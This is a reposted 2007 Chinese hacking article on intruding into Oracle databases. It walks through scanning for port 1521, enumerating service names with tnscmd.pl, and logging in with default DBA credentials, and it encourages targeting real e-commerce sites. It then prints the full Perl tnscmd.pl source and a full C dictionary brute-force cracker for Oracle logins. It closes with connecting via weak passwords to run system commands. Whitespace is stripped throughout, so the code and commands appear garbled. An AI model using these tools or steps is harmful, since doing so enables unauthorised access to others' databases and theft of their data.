欢迎来到福编程网,本站提供各种互联网专业知识!

入侵oracle数据库的一些技巧

发布时间:2007-10-08 作者: 来源:转载
软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权信息来源:邪恶八进制信息安全团队(www.eviloctal.com)一、先看下面的一个贴子:Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点:
软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
一、先看下面的一个贴子:

Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点:

1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。支持大量用户同时在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。

2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统,保护了用户的投资。美国标准化和技术研究所(NIST)对Oracle7SERVER进行检验,100%地与ANSI/ISOSQL89标准的二级相兼容。

3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性,为可接受的数据指定标准。

4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存龋分布式系统像集中式数据库一样具有透明性和数据一致性。

具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。

虽然Oracle数据库具有很高的安全性,但是如果我们在配置的时候不注意安全意识,那么也是很危险的。也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。

我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。那么oracle呢?也有的。为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现,看下面的文章吧。

进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。

理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl。

我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:

C:perlbin>perltnscmd.pl

usage:tnscmd.pl[command]-hhostname

where'command'issomethinglikeping,version,status,etc.

(defaultisping)

[-pport]-alternateTCPporttouse(defaultis1521)

[--logfilelogfile]-writerawpacketstospecifiedlogfile

[--indent]-indent&outdentonparens

[--rawcmdcommand]-buildyourownCONNECT_DATAstring

[--cmdsizebytes]-fakeTNScommandsize(revealspacketleakage)


我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。

然后我们就这样来:

C:perlbin>perltnscmd.plservices-hxx.xx.110.110-p1521–indent

sending(CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521

writing91bytes

reading

._.......6.........?...........

DESCRIPTION=

TMP=

VSNNUM=135286784

ERR=0

SERVICES_EXIST=1

.Q........

SERVICE=

SERVICE_NAME=ORCL

INSTANCE=

INSTANCE_NAME=ORCL

NUM=1

INSTANCE_CLASS=ORACLE

HANDLER=

HANDLER_DISPLAY=DEDICATEDSERVER

STA=ready

HANDLER_INFO=LOCALSERVER

HANDLER_MAXLOAD=0

HANDLER_LOAD=0

ESTABLISHED=447278

REFUSED=0

HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

HANDLER_NAME=DEDICATED

ADDRESS=

PROTOCOL=beq

PROGRAM=/home/oracle/bin/oracle

ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

ARGV0=oracleORCL

ARGS='

LOCAL=NO

'

.........@


从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:

C:oracleora90BIN>sqlplus/nolog

SQL*Plus:Release9.0.1.0.1-ProductiononThuMay2311:36:592002

(c)Copyright2001OracleCorporation.Allrightsreserved.

SQL>connectsystem/manager@

(description=(address_list=(address=(protocol=tcp)

(host=xx.xx.110.110)(port=1521)))

(connect_data=(SERVICE_NAME=ORCL)));

如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。


二、上面提到的两个小软件:
tnscmd.pl

Copycode
#!/usr/bin/perl
#
#tnscmd-alametooltoprodtheoracletnslsnrprocess(1521/tcp)
#testedunderLinuxx86&OpenBSDSparc+perl5
#
#Initialcruft:[email]jwa@jammed.com[/email]5Oct2000
#
#$Id:tnscmd,v1.32001/04/2606:45:48jwaExp$
#
#seealso:
#[url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html[/url]
#[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818[/url]
#[url]http://otn.oracle.com/deploy/security/alerts.htm[/url]
#[url]http://xforce.iss.net/alerts/advise66.php[/url]
#
#GPL'd,ofcourse.[url]http://www.gnu.org/copyleft/gpl.html[/url]
#
#$Log:tnscmd,v$
#Revision1.32001/04/2606:45:48jwa
#typoinurl.whoops.
#
#Revision1.22001/04/2606:42:17jwa
#completerewrite
#-useIO::Socketinsteadoftcp_open
#-gotridofpdump()
#-putpacketinto@listandbuilditwithpack()
#-added--indentoption
#
#

useIO::Socket;
usestrict;#agrumpyperlinterpreterisyourfriend

select(STDOUT);$|=1;

#
#processarguments
#

my($cmd)=$ARGV[0]if($ARGV[0]!~/^-/);
my($arg);

while($arg=shift@ARGV){
$main::hostname=shift@ARGVif($argeq"-h");
$main::port=shift@ARGVif($argeq"-p");
$main::logfile=shift@ARGVif($argeq"--logfile");
$main::fakepacketsize=shift@ARGVif($argeq"--packetsize");
$main::fakecmdsize=shift@ARGVif($argeq"--cmdsize");
$main::indent=1if($argeq"--indent");
$main::rawcmd=shift@ARGVif($argeq"--rawcmd");
$main::rawout=shift@ARGVif($argeq"--rawout");
}

if($main::hostnameeq""){
print<<_EOF_;
usage:$0[command]-hhostname
where'command'issomethinglikeping,version,status,etc.
(defaultisping)
[-pport]-alternateTCPporttouse(defaultis1521)
[--logfilelogfile]-writerawpacketstospecifiedlogfile
[--indent]-indent&outdentonparens
[--rawcmdcommand]-buildyourownCONNECT_DATAstring
[--cmdsizebytes]-fakeTNScommandsize(revealspacketleakage)
_EOF_
exit(0);
}

#withnocommands,defaulttopingingport1521

$cmd="ping"if($cmdeq"");
$main::port=1521if($main::porteq"");#1541,1521..DBAsaresowhimsical


#
#main
#

my($command);

if(defined($main::rawcmd))
{
$command=$main::rawcmd;
}
else
{
$command="(CONNECT_DATA=(COMMAND=$cmd))";
}


my$response=tnscmd($command);
viewtns($response);
exit(0);


#
#buildthepacket,openthesocket,sendthepacket,returntheresponse
#

subtnscmd
{
my($command)=shift@_;
my($packetlen,$cmdlen);
my($clenH,$clenL,$plenH,$plenL);
my($i);

print"sending$commandto$main::hostname:$main::portn";

if($main::fakecmdsizene"")
{
$cmdlen=$main::fakecmdsize;
print"Fakingcommandlengthto$cmdlenbytesn";
}
else
{
$cmdlen=length($command);
}

$clenH=$cmdlen>>8;
$clenL=$cmdlen&0xff;

#calculatepacketlength

if(defined($main::fakepacketsize))
{
print"Fakingpacketlengthto$main::fakepacketsizebytesn";
$packetlen=$main::fakepacketsize;
}
else
{
$packetlen=length($command)+58;#"preamble"is58bytes
}

$plenH=$packetlen>>8;
$plenL=$packetlen&0xff;

$packetlen=length($command)+58if(defined($main::fakepacketsize));

#decimaloffset
#0:packetlen_highpacketlen_low
#26:cmdlen_highcmdlen_low
#58:command

#thepacket.

my(@packet)=(
$plenH,$plenL,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x36,0x01,0x2c,0x00,0x00,0x08,0x00,
0x7f,0xff,0x7f,0x08,0x00,0x00,0x00,0x01,
$clenH,$clenL,0x00,0x3a,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x34,0xe6,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00
);


for($i=0;$i{
push(@packet,ord(substr($command,$i,1)));
}

my($sendbuf)=pack("C*",@packet);

print"connect";
my($tns_sock)=IO::Socket::INET->new(
PeerAddr=>$main::hostname,
PeerPort=>$main::port,
Proto=>'tcp',
Type=>SOCK_STREAM,
Timeout=>30)||die"connectto$main::hostnamefailure:$!";
$tns_sock->autoflush(1);

print"rwriting".length($sendbuf)."bytesn";

if(defined($main::logfile))
{
open(SEND,">$main::logfile.send")||die"can'twrite$main::logfile.send:$!";
printSEND$sendbuf||die"writetologfilefailed:$!";
close(SEND);
}

my($count)=syswrite($tns_sock,$sendbuf,length($sendbuf));

if($count!=length($sendbuf))
{
print"onlywrote$countbytes?!";
exit1;
}

print"readingn";

#getfundata
#1st12byteshavesomemeaningwhichsofareludesme

if(defined($main::logfile))
{
open(REC,">$main::logfile.rec")||die"can'twrite$main::logfile.rec:$!";
}

my($buf,$recvbuf);

#readuntilsocketEOF
while(sysread($tns_sock,$buf,128))
{
printREC$bufif(defined($main::logfile));
$recvbuf.=$buf;
}
close(REC)if(defined($main::logfile));
close($tns_sock);
return$recvbuf;
}


subviewtns
{
my($response)=shift@_;

#shouldhaveahexdumpoption...

if($main::raw)
{
print$response;
}
else
{
$response=~tr/200-377/00-177/;#striphighbits
$response=~tr/00-27/./;
$response=~tr/177/./;

if($main::indent)
{
parenify($response);
}
else
{
print$response;
}
print"n";
}
}


subparenify
{
my($buf)=shift@_;
my($i,$c);
my($indent,$o_indent);

for($i=0;$i{
$c=substr($buf,$i,1);
$indent++if($ceq"(");
$indent--if($ceq")");
if($indent!=$o_indent)
{
print"n"unless(substr($buf,$i+1,1)eq"(");
print""x$indent;
$o_indent=$indent;
undef$c;
}
print$c;
}
}

Copycode
/*用链表实现的oracle密码暴破程序,需要在本地安装oralce*/
#defineWIN32_LEAN_AND_MEAN
#ifdefined(_WIN32)||defined(_WIN64)
#include
#include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include


#pragmacomment(lib,"oraocci9.lib")//链接到oraocci9.lib库
//#pragmacomment(lib,"msvcrt.lib")
#pragmacomment(lib,"msvcprt.lib")
//链接到WS2_32.LIB库:
#pragmacomment(lib,"Ws2_32.lib")
//#pragmacomment(lib,"liboracle.lib")

chartarget[40]={0};//目标服务器
charport[40]={0};//SQL端口号
chardb[40]={0};//数据库名

//定义链表:
typedefstructPassNode{
TCHARpassword[100];
structPassNode*Next;
}PassInfo;

typedefstructNameNode{
TCHARName[100];
structNameNode*Next;
}NameInfo;//定义NameInfo来表示NameNode结构

//
//函数SQLCheck
//功能:尝试用不同密码连接SQLServer,探测出正确的密码
//
DWORDWINAPISQLCheck(PVOIDpPwd,PVOIDuUserName)
{
//定义局部变量
charszBuffer[1025]={0};
char*pwd=NULL,*UserName=NULL;
charDataBase[255]={0};
//char*user=NULL;
//取得传递过来准备探测的密码
pwd=(char*)pPwd;
UserName=(char*)uUserName;
//DataBase=(char*)db;
sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
//printf("DataBase=%sn",DataBase);
usingnamespacestd;
usingnamespaceoracle::occi;

Environment*env=Environment::createEnvironment(Environment::DEFAULT);

try{
Connection*conn=env->createConnection(UserName,pwd,(char*)DataBase);
if(conn)
{printf("n");
cout<<"SUCCESS-createConnection"<

//连接远程oracleServer数据库成功
return1;
}
else
cout<<"FAILURE-createConnection"<return0;

/*Statement*stmt=conn->createStatement("select*fromemp");
ResultSet*rset=stmt->executeQuery();
while(rset->next()){
cout<<"theempnois:"<getInt(1)<cout<<"theenameis:"<getString(2)<

}*/
//stmt->closeResultSet(rset);
//conn->terminateStatement(stmt);
env->terminateConnection(conn);

}catch(SQLExceptionex)

{
//printf("n");
cout<return0;

}
Environment::terminateEnvironment(env);
return0;


}


voidusage(){

printf("name:oraclepasswordcrackv1.0n");
printf("author:pt007@vip.sina.comnn");
fprintf(stdout,"usage:oracle_pwd_crack[ip][options]n");
printf("options:n"
"t-xportspecifytheportoforaclen"
"t-uusernamespecifytheusernameoforaclen"
//"t-ppasswordspecifythepasswordoforaclen"
"t-ddictspecifythedictionaryn"
"t-idatabasespecifythedatabase'snamen"
//"t-aautomodeautomaticcracktheoraclepasswordn"
//"tNote:whenuusethe-aoption,namedtheusernamedictuser.dicn"
//"tpassworddictpass.dicn"
);
printf("nexample:oracle_pwd_crack127.0.0.1-x1521-usql_user.dic-dpass.dic-iPLSExtProcn");

exit(1);

}

//创建密码链表:
PassInfo*Create_Pass_link(intNodeNum,FILE*DictFile){

/*readdatafrompassworddictionary,initthelink*/
TCHAR*szTempPass=NULL;
PassInfo*h,*p,*s;/**hpointtoheadnode,*ppointtotheprenode,
*spointtothecurrentnode*/
inti;/*counter*/

//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址:
if((h=(PassInfo*)malloc(sizeof(PassInfo)))==NULL)
{
fprintf(stderr,"mallocfailed%d",GetLastError());
exit(0);
}/*createtheheadnode*/

/*inittheheadnode*/
h->Next=NULL;
p=h;

for(i=0;i{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass
szTempPass=(TCHAR*)calloc(100,sizeof(TCHAR));
ZeroMemory(szTempPass,100);

if((s=(PassInfo*)malloc(sizeof(PassInfo)))==NULL)
{
fprintf(stderr,"mallocfailed%d",GetLastError());
exit(0);
}

memset(s->password,'',100);
fgets(szTempPass,100,DictFile);
strncpy(s->password,szTempPass,strlen(szTempPass)-1);
s->Next=NULL;//删除一个结点
p->Next=s;//链表指针指向下一个结构地址
p=s;//下一个结构的数据域赋值

free(szTempPass);//释放内存空间

}

returnh;//返回链表的头结点,它存放有第一个结点的首地址,没有数据

}


//创建用户名链表:
NameInfo*Create_Name_link(intNodeNum,FILE*DictFile){

/*readdatafrompassworddictionary,initthelink*/
TCHAR*szTempName=NULL;
NameInfo*h,*p,*s;/**hpointtoheadnode,*ppointtotheprenode,
*spointtothecurrentnode*/
inti;/*counter*/

//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址::
if((h=(NameInfo*)malloc(sizeof(NameInfo)))==NULL)
{
fprintf(stdout,"mallocfailed%d",GetLastError());
exit(0);
}/*createtheheadnode*/

/*inittheheadnode*/
h->Next=NULL;//删除下一个结点
p=h;//p里面目前指向头结点

for(i=0;i{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass:
szTempName=(TCHAR*)calloc(100,sizeof(TCHAR));
ZeroMemory(szTempName,100);//字符串类型变量清0

if((s=(NameInfo*)malloc(sizeof(NameInfo)))==NULL)
{
fprintf(stdout,"mallocfailed%d",GetLastError());
exit(0);
}

memset(s->Name,'',100);
fgets(szTempName,100,DictFile);
strncpy(s->Name,szTempName,strlen(szTempName)-1);
s->Next=NULL;
p->Next=s;//p指向下一个结点的地址
p=s;//下一个结构的数据域赋值

free(szTempName);

}

returnh;

}


intLineCount(FILE*fd)//返回字典中的密码数量
{
intcountline=0;
chardata[100]={0};//字符数组清0

while(fgets(data,100,fd))//从指定的文件中读一个字符串到字符数组中
countline++;

rewind(fd);//指针返回到文件起始处

returncountline;

}

BOOLIsPortOpen(char*address,intport)
{
intrecv=1;
WSADATAwsadata;
intfd;
structsockaddr_inclientaddress;
structhostent*host1;
BOOLResult=FALSE;
structtimevaltimer4;
fd_setwritefd;//检查数据是否可写
ULONGvalue=1;
//初使化winsock版本1.1:
recv=WSAStartup(MAKEWORD(1,1),&wsadata);

if(recv!=0)
{
printf("initfailed%d.n",WSAGetLastError());
return(0);
}

if(LOBYTE(wsadata.wVersion)!=1||
HIBYTE(wsadata.wVersion)!=1){
/*Telltheuserthatwecouldn'tfindauseable*/
/*winsock.dll.*/
WSACleanup();
return(0);
}
//创建socket套接字连接:
fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(fd<0)
{

printf("[-]Createsocketerror%d.n",WSAGetLastError());
return(0);
}
//将套接字fd设为非阻塞模式的方法:
ioctlsocket(fd,FIONBIO,&value);

if(!(host1=gethostbyname(address))){
printf("[-]Gethostbyname(%s)error%d.n",address,WSAGetLastError());
return(0);
}

memset(&clientaddress,0,sizeof(structsockaddr));
clientaddress.sin_family=AF_INET;//Ipv4地址族
clientaddress.sin_port=htons((unsignedshort)port);
clientaddress.sin_addr=*((structin_addr*)host1->h_addr);

timer4.tv_sec=5;//以秒为单位指定等待时间
timer4.tv_usec=0;

FD_ZERO(&writefd);
FD_SET(fd,&writefd);//将套接字fd增添到writefd写集合中进行测试

recv=connect(fd,(structsockaddr*)&clientaddress,sizeof(structsockaddr));

if(FD_ISSET(fd,&writefd))
{
recv=select(fd+1,NULL,&writefd,NULL,&timer4);//测试5秒钟内是否有数据写入

if(recv>0)
Result=TRUE;
}

closesocket(fd);
WSACleanup();

returnResult;

}


intmain(intargc,char**argv)
{

PassInfo*head,*curr=NULL;
NameInfo*headnode,*currnode=NULL;
intnamecount=0,passcount=0;

/////////////////////////////////////////////////////////////////////////////////////////////
//dealwiththecommandline
//
/////////////////////////////////////////////////////////////////////////////////////////////
//参数不为8个的时候打印帮助
if(argc!=10)
usage();

if(argc==10)
{
if(strcmpi(argv[2],"-x"))
usage();

if(strcmpi(argv[4],"-u"))
usage();

if(strcmpi(argv[6],"-d"))
usage();
if(strcmpi(argv[8],"-i"))
usage();

}

/*determinatewhethertheoracleportisopen*/
if(!IsPortOpen(argv[1],atoi(argv[3])))
{
printf("error:Can'tconnectto%s:%dn",argv[1],atoi(argv[3]));
exit(0);
}


////////////////////////////////////////////////////////////////////////////////////////////
//specifiytheusername
//////////////////////////////////////////////////////////////////////////////////////////////

//取得目标地址和端口号:
strcpy(target,argv[1]);
strcpy(port,argv[3]);
strcpy(db,argv[9]);

if(!strcmpi(argv[4],"-u"))
{
/*openthepassworddictionary*/

FILE*passdic=NULL;
if((passdic=fopen(argv[7],"r"))==NULL){
fprintf(stdout,"Can'topenthepassworddictionaryn");
exit(0);
}

/*countlineofnamedictionary*/

passcount=LineCount(passdic);//计算密码的数量
head=Create_Pass_link(passcount,passdic);/*createthepasswordlink*/
curr=head->Next;//指向第一个结点

/*openthepassworddictionary*/

FILE*Namedict=NULL;
if((Namedict=fopen(argv[5],"r"))==NULL){
fprintf(stderr,"Can'topenthenamedictionaryn");
exit(0);
}

/*密码最终保存文件*/
FILE*passtxt=NULL;
if((passtxt=fopen("pass.txt","at+"))==NULL){
fprintf(stdout,"Can'twritepass.txtfile!n");
exit(0);
}

/*countlineofnamedictionary*/

namecount=LineCount(Namedict);//计算用户名数量
headnode=Create_Name_link(namecount,Namedict);/*createuserlink*/
currnode=headnode->Next;

intj=0,i=1;
while(currnode!=NULL)//为NULL表示姓名链表结束
{
printf("n开始第%d位用户%s测试:n",++j,currnode->Name);
while(curr!=NULL)//为NULL表示密码链表结束
{
printf("Nowcracking%s->%sn",currnode->Name,curr->password);
fflush(NULL);
intCracked=0;
Cracked=SQLCheck(curr->password,currnode->Name);
if(Cracked==1)
{
printf("%d.Successfully:oracleserver%s'susername[%s]password[%s]n",j,target,currnode->Name,curr->password);
fseek(passtxt,0L,SEEK_END);//移动到文件尾部
fprintf(passtxt,"%d.Successfully:oracleserver%s'susername[%s]password[%s]rn",i++,target,currnode->Name,curr->password);
//exit(0);发现一个密码就退出
break;
}
curr=curr->Next;//移动到下一个结点
Sleep(100);//暂停100ms,即0.1s

}/*startingcracktheoraclepassword*/
currnode=currnode->Next;
curr=head->Next;//移到密码链表的第一个结点
}
printf("nn密码猜解结束:n本次共猜解了%d位用户,%d个密码!n",namecount,passcount);
printf("请使用"typepass.txt"来查看当前目录下的pass.txt文件!n");
fprintf(passtxt,"rnrn");
fclose(passdic);
fclose(Namedict);
fclose(passtxt);
free(head);


}

return0;

}
三、利用弱口令进行入侵:
C:>sqlplus/nolog
SQL>connectsystem/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));

然后利用OracleExecuteCommandSqlScript来执行系统命令

相关推荐